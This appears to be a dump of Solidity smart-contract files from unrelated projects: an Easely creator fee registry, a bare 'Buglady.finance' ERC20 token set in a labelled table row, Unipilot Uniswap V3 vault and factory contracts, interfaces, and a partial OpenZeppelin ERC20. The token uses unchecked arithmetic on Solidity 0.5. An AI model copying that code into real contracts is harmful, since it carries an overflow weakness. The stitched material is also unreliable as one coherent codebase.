_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(CREATOR_ROLE, _msgSender());
}
/**
* @dev Creator address is set on registration so unregistered creators have address(0)
*/
function _isCreatorRegistered(address creatorAddress) internal view returns (bool) {
return _addressToCreator[creatorAddress].creatorAddress == creatorAddress && creatorAddress != address(0);
}
/**
* @dev Internal helper function to see if sender can pause an address
*/
function _canPause(address creatorAddress) internal view returns (bool) {
return hasRole(CREATOR_ROLE, _msgSender()) || _msgSender() == creatorAddress;
}
/**
* @dev Takes in a creatorAddress and fee in BPS. This changes calculateCreatorPayout.
*
* Requirements:
* - sender must have `CREATOR_ROLE`
* - fee cannot be over MAX_EASELY_FEE_BPS
*/
function registerCreator(address creatorAddress, uint256 easelyFeeBPS) external {
require(hasRole(CREATOR_ROLE, _msgSender()), "Need creator role");
require(!_isCreatorRegistered(creatorAddress), "Creator already exists");
require(easelyFeeBPS <= MAX_EASELY_FEE_BPS, "Max fee is 5% (500 BPS)");
Creator memory newCreator;
newCreator.creatorAddress = creatorAddress;
newCreator.easelyFeeBPS = easelyFeeBPS;
newCreator.paused = false;
_addressToCreator[creatorAddress] = newCreator;
emit CreatorRegistered(creatorAddress);
}
/**
* @dev Updates the default BPS for all creators not on the registry.
*
* Requirements:
* - sender has `DEFAULT_ADMIN_ROLE`.
* - fee cannot be over MAX_EASELY_FEE_BPS
*/
function updateDefaultBPSFee(uint256 bpsFee) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Need creator role");
require(bpsFee <= MAX_EASELY_FEE_BPS, "Max fee is 5% (500 BPS)");
DEFAULT_FEE_BPS = bpsFee;
}
function updateBPSFee(address creatorAddress, uint256 easelyFeeBPS) external {
require(hasRole(CREATOR_ROLE, _msgSender()), "Need creator role");
require(easelyFeeBPS <= MAX_EASELY_FEE_BPS, "Max fee is 5% (500 BPS)");
require(_isCreatorRegistered(creatorAddress), "CreatorAddress is not registered");
_addressToCreator[creatorAddress].easelyFeeBPS = easelyFeeBPS;
}
/**
* @dev Pauses our creator which prevents calculateCreatorPayout and any transfers for
* marketplace contracts that read from this registry.
*
* Requirements:
* - Creator cannot be already paused
*/
function pauseCreator(address creatorAddress) external {
require(_isCreatorRegistered(creatorAddress), "CreatorAddress is not registered");
require(_canPause(creatorAddress), "Sender cannot pause this creator");
require(!_addressToCreator[creatorAddress].paused, "Creator already paused");
_addressToCreator[creatorAddress].paused = true;
emit CreatorPaused(creatorAddress);
}
/**
* @dev Unpauses our creator which enables calculateCreatorPayout and any marketplaces
* that read from this registry.
*
* Requirements:
* - Creator must be paused
*/
function unpauseCreator(address creatorAddress) external {
require(_isCreatorRegistered(creatorAddress), "CreatorAddress is not registered");
require(_canPause(creatorAddress), "Sender cannot unpause this creator");
require(_addressToCreator[creatorAddress].paused, "Creator not paused");
_addressToCreator[creatorAddress].paused = false;
emit CreatorUnpaused(creatorAddress);
}
/**
* @dev See {IEaselyRegistry-calculateCreatorPayout}.
*/
function calculateCreatorPayout(address creatorAddress, uint256 payinValue)
external view override returns (uint256)
{
require(!_addressToCreator[creatorAddress].paused, "Creator is paused");
uint256 easelyFeeBPS;
if (!_isCreatorRegistered(creatorAddress)) {
easelyFeeBPS = DEFAULT_FEE_BPS;
} else {
easelyFeeBPS = _addressToCreator[creatorAddress].easelyFeeBPS;
}
uint256 ownerCut = BASIS_POINT_CONVERSION - easelyFeeBPS;
// Divide first to prevent overflow.
// Unflow is prevented by marketplace's minimum value
uint256 creatorPayout = payinValue / BASIS_POINT_CONVERSION * ownerCut;
// This should never fail
require(creatorPayout <= payinValue, "Cannot payout more than payin");
return creatorPayout;
}
/**
* @dev See {IEaselyRegistry-isCreatorRegistered}.
*/
function isCreatorRegistered(address creatorAddress) external view override returns (bool) {
return _isCreatorRegistered(creatorAddress);
}
/**
* @dev See {IEaselyRegistry-isCreatorPaused}.
*/
function isCreatorPaused(address creatorAddress) external view override returns (bool) {
return _addressToCreator[creatorAddress].paused;
}
}
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|
pragma solidity ^0.5.0;
contract DaiToken {
string public name = "Buglady.finance";
string public symbol = "BLF";
uint256 public totalSupply = 35000000000000000000000; // 35 000 tokens
uint8 public decimals = 18;
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
} | True | [
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//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./UnipilotPassiveVault.sol";
import "./interfaces/IUnipilotFactory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @title Unipilot Passive Factory
/// @author 0xMudassir & 721Orbit
/// @notice Deploys Unipilot vaults for any uniswap v3 pair by any user.
/// passive liquidity managament strategy will be used in these vaults
/// all passive vaults can be managed by any user
contract UnipilotPassiveFactory is IUnipilotFactory {
address private WETH;
address private governance;
address private strategy;
address private indexFund;
uint8 private swapPercentage;
uint8 private indexFundPercentage;
IUniswapV3Factory private uniswapFactory;
constructor(
address _uniswapFactory,
address _governance,
address _uniStrategy,
address _indexFund,
address _WETH,
uint8 _indexFundPercentage,
uint8 _swapPercentage
) {
governance = _governance;
strategy = _uniStrategy;
uniswapFactory = IUniswapV3Factory(_uniswapFactory);
indexFund = _indexFund;
WETH = _WETH;
indexFundPercentage = _indexFundPercentage;
swapPercentage = _swapPercentage;
}
/// @inheritdoc IUnipilotFactory
mapping(address => bool) public override isWhitelist;
/// @inheritdoc IUnipilotFactory
mapping(address => mapping(address => mapping(uint24 => address)))
public
override vaults;
modifier onlyGovernance() {
require(msg.sender == governance);
_;
}
/// @inheritdoc IUnipilotFactory
function getUnipilotDetails()
external
view
override
returns (
address,
address,
address,
uint8,
uint8
)
{
return (
governance,
strategy,
indexFund,
indexFundPercentage,
swapPercentage
);
}
/// @inheritdoc IUnipilotFactory
function createVault(
address _tokenA,
address _tokenB,
uint24 _fee,
uint160 _sqrtPriceX96,
string memory _name,
string memory _symbol
) external override returns (address _vault) {
require(_tokenA != _tokenB);
(address token0, address token1) = _tokenA < _tokenB
? (_tokenA, _tokenB)
: (_tokenB, _tokenA);
require(vaults[token0][token1][_fee] == address(0));
address pool = uniswapFactory.getPool(token0, token1, _fee);
if (pool == address(0)) {
pool = uniswapFactory.createPool(token0, token1, _fee);
IUniswapV3Pool(pool).initialize(_sqrtPriceX96);
}
ERC20 token0Instance = ERC20(token0);
ERC20 token1Instance = ERC20(token1);
_name = string(
abi.encodePacked(
"Unipilot ",
token0Instance.symbol(),
"/",
token1Instance.symbol(),
" Passive"
" Vault"
)
);
_symbol = string(
abi.encodePacked(
"ULP",
"-",
token0Instance.symbol(),
"/",
token1Instance.symbol(),
"-",
"PV"
)
);
_vault = address(
new UnipilotPassiveVault{
salt: keccak256(abi.encodePacked(_tokenA, _tokenB, _fee))
}(pool, address(this), WETH, _name, _symbol)
);
vaults[token0][token1][_fee] = _vault;
vaults[token1][token0][_fee] = _vault; // populate mapping in the reverse direction
emit VaultCreated(token0, token1, _fee, _vault);
}
/// @notice Updates the governance of all Unipilot passive vaults
/// @dev Must be called by the current governance
/// @param _newGovernance The new governance of the Unipilot passive factory
function setGovernance(address _newGovernance) external onlyGovernance {
require(_newGovernance != address(0));
emit GovernanceChanged(governance, _newGovernance);
governance = _newGovernance;
}
/// @notice Updates all the necessary Unipilot details used in passive vaults
/// @dev Must be called by the current governance
/// @param _strategy Unipilot strategy address
/// @param _indexFund Unipilot index fund account
/// @param _swapPercentage Percentage of swap during readjust liquidity
/// @param _indexFundPercentage Percentage of fees for index fund
function setUnipilotDetails(
address _strategy,
address _indexFund,
uint8 _swapPercentage,
uint8 _indexFundPercentage
) external onlyGovernance {
require(_strategy != address(0) && _indexFund != address(0));
require(_swapPercentage > 0 && _swapPercentage < 100);
require(_indexFundPercentage > 0 && _indexFundPercentage < 100);
strategy = _strategy;
indexFund = _indexFund;
indexFundPercentage = _indexFundPercentage;
swapPercentage = _swapPercentage;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import "./libraries/TransferHelper.sol";
import "./interfaces/external/IWETH9.sol";
import "./interfaces/IUnipilotVault.sol";
import "./interfaces/IUnipilotStrategy.sol";
import "./interfaces/IUnipilotFactory.sol";
import "./libraries/UniswapLiquidityManagement.sol";
import "./libraries/UniswapPoolActions.sol";
import "@openzeppelin/contracts/drafts/ERC20Permit.sol";
/// @title Unipilot Passive Vault
/// @author 0xMudassir & 721Orbit
/// @notice Passive liquidity managment contract that handles liquidity of any Uniswap V3 pool & earn fees
/// @dev UnipilotPassiveVault always maintains 2 range orders on Uniswap V3,
/// base order: The main liquidity range -- where the majority of LP capital sits
/// limit order: A single token range -- depending on which token it holds more of after the base order was placed.
/// @dev The vault readjustment function can be called by anyone to ensure
/// the liquidity of vault remains in the most optimum range
contract UnipilotPassiveVault is ERC20Permit, IUnipilotVault {
using LowGasSafeMath for uint256;
using UniswapPoolActions for IUniswapV3Pool;
using UniswapLiquidityManagement for IUniswapV3Pool;
IERC20 private immutable token0;
IERC20 private immutable token1;
uint24 private immutable fee;
int24 private immutable tickSpacing;
address private immutable WETH;
IUnipilotFactory private immutable unipilotFactory;
TicksData public ticksData;
IUniswapV3Pool private pool;
uint96 private _unlocked = 1;
modifier nonReentrant() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
modifier checkDeviation() {
(, address strategy, , , ) = getProtocolDetails();
IUnipilotStrategy(strategy).checkDeviation(address(pool));
_;
}
constructor(
address _pool,
address _unipilotFactory,
address _WETH,
string memory _name,
string memory _symbol
) ERC20Permit(_name) ERC20(_name, _symbol) {
WETH = _WETH;
unipilotFactory = IUnipilotFactory(_unipilotFactory);
pool = IUniswapV3Pool(_pool);
token0 = IERC20(pool.token0());
token1 = IERC20(pool.token1());
fee = pool.fee();
tickSpacing = pool.tickSpacing();
}
receive() external payable {}
fallback() external payable {}
/// @inheritdoc IUnipilotVault
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address recipient
)
external
payable
override
nonReentrant
returns (
uint256 lpShares,
uint256 amount0,
uint256 amount1
)
{
require(amount0Desired > 0 && amount1Desired > 0);
address sender = _msgSender();
uint256 totalSupply = totalSupply();
(lpShares, amount0, amount1) = pool.computeLpShares(
false,
amount0Desired,
amount1Desired,
_balance0(),
_balance1(),
totalSupply,
ticksData
);
pay(address(token0), sender, address(this), amount0);
pay(address(token1), sender, address(this), amount1);
if (totalSupply == 0) {
setPassivePositions(amount0, amount1);
} else {
(uint256 amount0Base, uint256 amount1Base) = pool.mintLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
amount0,
amount1
);
pool.mintLiquidity(
ticksData.rangeTickLower,
ticksData.rangeTickUpper,
amount0.sub(amount0Base),
amount1.sub(amount1Base)
);
}
refundETH();
_mint(recipient, lpShares);
emit Deposit(sender, recipient, amount0, amount1, lpShares);
}
/// @inheritdoc IUnipilotVault
function withdraw(
uint256 liquidity,
address recipient,
bool refundAsETH
)
external
override
nonReentrant
checkDeviation
returns (uint256 amount0, uint256 amount1)
{
require(liquidity > 0);
uint256 liquidityShare = FullMath.mulDiv(
liquidity,
1e18,
totalSupply()
);
(uint256 base0, uint256 base1) = burnAndCollect(
ticksData.baseTickLower,
ticksData.baseTickUpper,
liquidityShare
);
(uint256 range0, uint256 range1) = burnAndCollect(
ticksData.rangeTickLower,
ticksData.rangeTickUpper,
liquidityShare
);
amount0 = base0.add(range0);
amount1 = base1.add(range1);
uint256 unusedAmount0 = FullMath.mulDiv(
_balance0().sub(amount0),
liquidity,
totalSupply()
);
uint256 unusedAmount1 = FullMath.mulDiv(
_balance1().sub(amount1),
liquidity,
totalSupply()
);
amount0 = amount0.add(unusedAmount0);
amount1 = amount1.add(unusedAmount1);
if (amount0 > 0) {
transferFunds(refundAsETH, recipient, address(token0), amount0);
}
if (amount1 > 0) {
transferFunds(refundAsETH, recipient, address(token1), amount1);
}
(base0, base1) = pool.mintLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
_balance0(),
_balance1()
);
(range0, range1) = pool.mintLiquidity(
ticksData.rangeTickLower,
ticksData.rangeTickUpper,
_balance0(),
_balance1()
);
_burn(msg.sender, liquidity);
emit Withdraw(recipient, liquidity, amount0, amount1);
emit CompoundFees(base0.add(range0), base1.add(range1));
}
/// @inheritdoc IUnipilotVault
function readjustLiquidity() external override nonReentrant checkDeviation {
(
uint256 baseAmount0,
uint256 baseAmount1,
uint256 baseFees0,
uint256 baseFees1
) = pool.burnLiquidity(
ticksData.baseTickLower,
ticksData.baseTickUpper,
address(this)
);
(
uint256 rangeAmount0,
uint256 rangeAmount1,
uint256 rangeFees0,
uint256 rangeFees1
) = pool.burnLiquidity(
ticksData.rangeTickLower,
ticksData.rangeTickUpper,
address(this)
);
transferFeesToIF(
true,
baseFees0.add(rangeFees0),
baseFees1.add(rangeFees1)
);
uint256 amount0 = baseAmount0.add(rangeAmount0);
uint256 amount1 = baseAmount1.add(rangeAmount1);
if (amount0 == 0 || amount1 == 0) {
bool zeroForOne = amount0 > 0 ? true : false;
(, , , , uint8 swapPercentage) = getProtocolDetails();
int256 amountSpecified = zeroForOne
? int256(FullMath.mulDiv(amount0, swapPercentage, 100))
: int256(FullMath.mulDiv(amount1, swapPercentage, 100));
pool.swapToken(address(this), zeroForOne, amountSpecified);
}
/// @dev to add remaining amounts in contract other than position liquidity
amount0 = _balance0();
amount1 = _balance1();
setPassivePositions(amount0, amount1);
}
/// @inheritdoc IUnipilotVault
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external override {
_verifyCallback();
address recipient = msg.sender;
address payer = abi.decode(data, (address));
if (amount0Owed > 0)
pay(address(token0), payer, recipient, amount0Owed);
if (amount1Owed > 0)
pay(address(token1), payer, recipient, amount1Owed);
}
/// @inheritdoc IUnipilotVault
function uniswapV3SwapCallback(
int256 amount0,
int256 amount1,
bytes calldata data
) external override {
_verifyCallback();
require(amount0 > 0 || amount1 > 0);
bool zeroForOne = abi.decode(data, (bool));
if (zeroForOne)
pay(address(token0), address(this), msg.sender, uint256(amount0));
else pay(address(token1), address(this), msg.sender, uint256(amount1));
}
/// @notice Calculates the vault's total holdings of TOKEN0 and TOKEN1 - in
/// other words, how much of each token the vault would hold if it withdrew
/// all its liquidity from Uniswap.
/// @dev Updates the position and return the updated reserves, fees & liquidity.
/// @return amount0 Amount of token0 in the unipilot vault
/// @return amount1 Amount of token1 in the unipilot vault
/// @return fees0 Total amount of fees collected by unipilot positions in terms of token0
/// @return fees1 Total amount of fees collected by unipilot positions in terms of token1
/// @return baseLiquidity The total liquidity of the base position
/// @return rangeLiquidity The total liquidity of the range position
function getPositionDetails()
external
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 baseLiquidity,
uint128 rangeLiquidity
)
{
return pool.getTotalAmounts(false, ticksData);
}
/// @notice Returns unipilot vault details
/// @return The first of the two tokens of the pool, sorted by address
/// @return The second of the two tokens of the pool, sorted by address
/// @return The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The address of the Uniswap V3 Pool
function getVaultInfo()
external
view
returns (
address,
address,
uint24,
address
)
{
return (address(token0), address(token1), fee, address(pool));
}
/// @dev Amount of token0 held as unused balance.
function _balance0() internal view returns (uint256) {
return token0.balanceOf(address(this));
}
/// @dev Amount of token1 held as unused balance.
function _balance1() internal view returns (uint256) {
return token1.balanceOf(address(this));
}
/// @notice Verify that caller should be the address of a valid Uniswap V3 Pool
function _verifyCallback() internal view {
require(msg.sender == address(pool));
}
function getProtocolDetails()
internal
view
returns (
address governance,
address strategy,
address indexFund,
uint8 indexFundPercentage,
uint8 swapPercentage
)
{
return unipilotFactory.getUnipilotDetails();
}
function setPassivePositions(
uint256 _amount0Desired,
uint256 _amount1Desired
) internal returns (uint256 amount0, uint256 amount1) {
Tick memory ticks;
(
ticks.baseTickLower,
ticks.baseTickUpper,
ticks.bidTickLower,
ticks.bidTickUpper,
ticks.rangeTickLower,
ticks.rangeTickUpper
) = _getTicksFromUniStrategy(address(pool));
(amount0, amount1) = pool.mintLiquidity(
ticks.baseTickLower,
ticks.baseTickUpper,
_amount0Desired,
_amount1Desired
);
ticksData.baseTickLower = ticks.baseTickLower;
ticksData.baseTickUpper = ticks.baseTickUpper;
uint256 remainingAmount0 = _amount0Desired.sub(amount0);
uint256 remainingAmount1 = _amount1Desired.sub(amount1);
uint128 rangeLiquidity;
if (remainingAmount0 > 0 || remainingAmount1 > 0) {
uint128 range0 = pool.getLiquidityForAmounts(
remainingAmount0,
remainingAmount1,
ticks.bidTickLower,
ticks.bidTickUpper
);
uint128 range1 = pool.getLiquidityForAmounts(
remainingAmount0,
remainingAmount1,
ticks.rangeTickLower,
ticks.rangeTickUpper
);
/// @dev only one range position will ever have liquidity (if any)
if (range1 < range0) {
rangeLiquidity = range0;
ticksData.rangeTickLower = ticks.bidTickLower;
ticksData.rangeTickUpper = ticks.bidTickUpper;
} else if (range0 < range1) {
ticksData.rangeTickLower = ticks.rangeTickLower;
ticksData.rangeTickUpper = ticks.rangeTickUpper;
rangeLiquidity = range1;
}
}
if (rangeLiquidity > 0) {
(uint256 _rangeAmount0, uint256 _rangeAmount1) = pool.mintLiquidity(
ticksData.rangeTickLower,
ticksData.rangeTickUpper,
remainingAmount0,
remainingAmount1
);
amount0 = amount0.add(_rangeAmount0);
amount1 = amount1.add(_rangeAmount1);
}
}
/// @dev Burn all the liquidity of unipilot positions, collects up to a
/// maximum amount of fees owed to position to the vault address &
/// tranfer fees percentage to index fund.
function burnAndCollect(
int24 tickLower,
int24 tickUpper,
uint256 liquidityShare
) internal returns (uint256 burnt0, uint256 burnt1) {
(burnt0, burnt1) = pool.burnUserLiquidity(
tickLower,
tickUpper,
liquidityShare,
address(this)
);
(uint256 fees0, uint256 fees1) = pool.collectPendingFees(
address(this),
tickLower,
tickUpper
);
transferFeesToIF(false, fees0, fees1);
}
/// @dev fetches the new ticks for base and range positions
function _getTicksFromUniStrategy(address _pool)
internal
returns (
int24 baseTickLower,
int24 baseTickUpper,
int24 bidTickLower,
int24 bidTickUpper,
int24 rangeTickLower,
int24 rangeTickUpper
)
{
(, address strategy, , , ) = getProtocolDetails();
return IUnipilotStrategy(strategy).getTicks(_pool);
}
/// @dev method to transfer unipilot earned fees to Index Fund
function transferFeesToIF(
bool isReadjustLiquidity,
uint256 fees0,
uint256 fees1
) internal {
(, , address indexFund, uint8 percentage, ) = getProtocolDetails();
if (fees0 > 0)
token0.transfer(indexFund, FullMath.mulDiv(fees0, percentage, 100));
if (fees1 > 0)
token1.transfer(indexFund, FullMath.mulDiv(fees1, percentage, 100));
emit FeesSnapshot(isReadjustLiquidity, fees0, fees1);
}
function transferFunds(
bool refundAsETH,
address recipient,
address token,
uint256 amount
) internal {
if (refundAsETH && token == WETH) {
unwrapWETH9(amount, recipient);
} else {
TransferHelper.safeTransfer(token, recipient, amount);
}
}
/// @param token The token to pay
/// @param payer The entity that must pay
/// @param recipient The entity that will receive payment
/// @param value The amount to pay
function pay(
address token,
address payer,
address recipient,
uint256 value
) internal {
if (token == WETH && address(this).balance >= value) {
// pay with WETH9
IWETH9(WETH).deposit{ value: value }(); // wrap only what is needed to pay
IWETH9(WETH).transfer(recipient, value);
} else if (payer == address(this)) {
// pay with tokens already in the contract (for the exact input multihop case)
TransferHelper.safeTransfer(token, recipient, value);
} else {
// pull payment
TransferHelper.safeTransferFrom(token, payer, recipient, value);
}
}
/// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH.
/// @param balanceWETH9 The amount of WETH9 to unwrap
/// @param recipient The address receiving ETH
function unwrapWETH9(uint256 balanceWETH9, address recipient) internal {
IWETH9(WETH).withdraw(balanceWETH9);
TransferHelper.safeTransferETH(recipient, balanceWETH9);
}
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() internal {
if (address(this).balance > 0)
TransferHelper.safeTransferETH(msg.sender, address(this).balance);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/// @title The interface for the Unipilot Factory
interface IUnipilotFactory {
/// @notice Emitted when a vault is created
/// @param _tokenA The first token of the pool by address sort order
/// @param _tokenB The second token of the pool by address sort order
/// @param _fee The fee tier for which the vault is created
/// @param _vault The address of the vault that is created
event VaultCreated(
address indexed _tokenA,
address indexed _tokenB,
uint24 _fee,
address indexed _vault
);
/// @notice Emitted when the governance of the factory is changed
/// @param _oldGovernance The governance before the governance was changed
/// @param _newGovernance The governance after the governance was changed
event GovernanceChanged(
address indexed _oldGovernance,
address indexed _newGovernance
);
/// @notice Creates a vault for the given two tokens and fee
/// @param _tokenA The first token of the pool by address sort order
/// @param _tokenB The second token of the pool by address sort order
/// @param _fee The desired fee for the unipilot vault
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0.
/// The call will revert if the vault already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return _vault The address of the newly created pool
function createVault(
address _tokenA,
address _tokenB,
uint24 _fee,
uint160 _sqrtPriceX96,
string memory _name,
string memory _symbol
) external returns (address _vault);
/// @notice Returns the vault address for a given uniswap v3 pair of tokens and a fee
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return vault The vault address
function vaults(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address vault);
/// @notice Returns the status for a given account that can recieve the vault reserves after pull liquidity
/// @dev by default vault address will be whitelist as a recipient in order to resist IL
/// @dev Only applicable for active vaults
function isWhitelist(address recipient) external view returns (bool);
/// @notice Used to give addresses of governance, strategy, indexFund
/// @return governance address, strategy address, indexFund address
function getUnipilotDetails()
external
view
returns (
address,
address,
address,
uint8,
uint8
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
